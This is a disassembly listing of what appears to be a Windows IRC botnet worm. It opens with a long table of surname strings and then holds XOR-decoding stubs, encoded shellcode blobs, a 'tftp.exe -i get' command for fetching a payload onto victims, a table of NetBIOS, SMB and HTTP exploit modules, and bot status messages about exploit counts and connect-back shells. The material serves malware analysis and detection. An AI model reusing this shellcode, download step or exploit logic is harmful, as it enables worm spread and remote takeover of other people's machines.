aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042D9D4o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042D9D0o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9CCo
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9C8o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9C4o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9C0o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9BCo
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9B8o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9B4o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9ACo
					; ___:0042D9B0o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9A8o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D9A4o
aColella	db 'Colella',0          ; DATA XREF: ___:0042D9A0o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D99Co
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D998o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D994o
aClow		db 'Clow',0             ; DATA XREF: ___:0042D990o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D98Co
aClement	db 'Clement',0          ; DATA XREF: ___:0042D988o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D984o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D980o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D97Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D978o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D974o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D970o
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042D96Co
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D968o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D964o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D960o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D95Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D958o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D954o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D950o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D94Co
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D948o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D944o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D940o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D93Co
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D938o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D934o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D930o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D92Co
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D928o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D924o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D920o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D91Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D918o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D914o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D910o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D90Co
		align 10h
aCase		db 'Case',0             ; DATA XREF: ___:0042D908o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D904o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D900o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D8FCo
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D8F8o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D8F4o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D8F0o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D8ECo
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D8E8o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D8E4o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D8E0o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D8DCo
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D8D8o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8D4o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8D0o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8CCo
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8C8o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8C4o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8C0o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8BCo
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8B8o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8B4o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8B0o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8ACo
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8A8o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D8A4o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D8A0o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D89Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D898o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D894o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D890o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D88Co
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D888o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D884o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D880o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D87Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D878o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D874o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D870o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D86Co
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D868o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D860o
					; ___:0042D864o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D85Co
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D858o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D854o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D850o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D84Co
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D848o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D844o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D840o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D83Co
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D838o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D834o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D830o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D82Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D828o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D824o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D820o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D81Co
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D818o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D814o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D810o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D80Co
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D808o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D804o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D800o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D7FCo
		align 10h
aBook		db 'Book',0             ; DATA XREF: ___:0042D7F8o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D7F4o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D7F0o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D7ECo
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D7E8o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D7E4o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D7E0o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D7DCo
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D7D8o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7D4o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7D0o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7CCo
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7C8o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7C4o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7C0o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7BCo
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7B8o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7B4o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7B0o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7ACo
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7A8o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D7A4o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D7A0o
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042D79Co
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D798o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D794o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D790o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D78Co
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D788o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D784o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D780o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D77Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D778o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D774o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D770o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D76Co
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D768o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D764o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D760o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D75Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D758o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D754o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D750o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D74Co
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D748o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D744o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D740o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D73Co
aBean		db 'Bean',0             ; DATA XREF: ___:0042D738o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D734o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D730o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D72Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D728o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D724o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D720o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D71Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D718o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D714o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D710o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D70Co
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D708o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D704o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D700o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D6FCo
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D6F8o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D6F4o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D6F0o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D6ECo
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D6E8o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D6E4o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D6E0o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D6DCo
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D6D8o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6D4o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6D0o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6CCo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6C8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6C4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6C0o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6BCo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6B8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6B4o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6B0o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6ACo
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6A8o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D6A4o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D6A0o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D69Co
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D698o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D694o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D690o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D68Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D688o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D684o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D680o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D67Co
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D678o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D674o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D670o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D66Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D668o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D664o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D660o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D65Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D658o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D654o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D650o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D64Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D648o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D644o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D640o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D63Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D638o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D634o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D630o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D62Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D628o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D624o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D620o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D61Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D618o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D614o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D610o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D60Co
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D608o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D604o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D600o
		align 4
byte_431258	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_43125C	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431260	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431268	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_43126C	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431270	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_431274	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_431278	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_43127C	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_431280	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_431284	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_431288	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431290	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_4312A0
; ---------------------------------------------------------------------------

loc_43129E:				; CODE XREF: ___:loc_4312A0p
		jmp	short loc_4312A5
; ---------------------------------------------------------------------------

loc_4312A0:				; CODE XREF: ___:0043129Cj
		call	loc_43129E

loc_4312A5:				; CODE XREF: ___:loc_43129Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh

loc_4312AC:				; CODE XREF: ___:004312B1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312AC
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh

loc_4312C2:				; CODE XREF: ___:004312C7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312C2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431364
		jnz	short loc_431350
		retn
; ---------------------------------------------------------------------------

loc_431350:				; CODE XREF: ___:0043134Dj
					; ___:0043135Dj
		call	near ptr loc_431355+1

loc_431355:				; CODE XREF: ___:loc_431350p
		add	[edx+0], ch
		call	sub_431364
		jz	loc_431350
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431364	proc near		; CODE XREF: ___:00431348p
					; ___:00431358p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431364	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431410	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_431414	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431418	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_43141C	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431420	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_431424	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 10h
		db 2 dup(0)
byte_4315F2	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_43161E

; =============== S U B	R O U T	I N E =======================================



sub_43160E	proc near		; CODE XREF: sub_43160E:loc_43161Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_431616:				; CODE XREF: sub_43160E+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431616
		jmp	short loc_431623
; ---------------------------------------------------------------------------

loc_43161E:				; CODE XREF: ___:0043160Cj
		call	sub_43160E

loc_431623:				; CODE XREF: sub_43160E+Ej
		jo	short near ptr dword_4315AC+12h
		cwde
		cdq
		cdq
		retn
sub_43160E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 10h
dword_4317A0	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317AC	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317CC	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431814	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431850	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431860	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_43187C	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318B0	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_4318E0	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
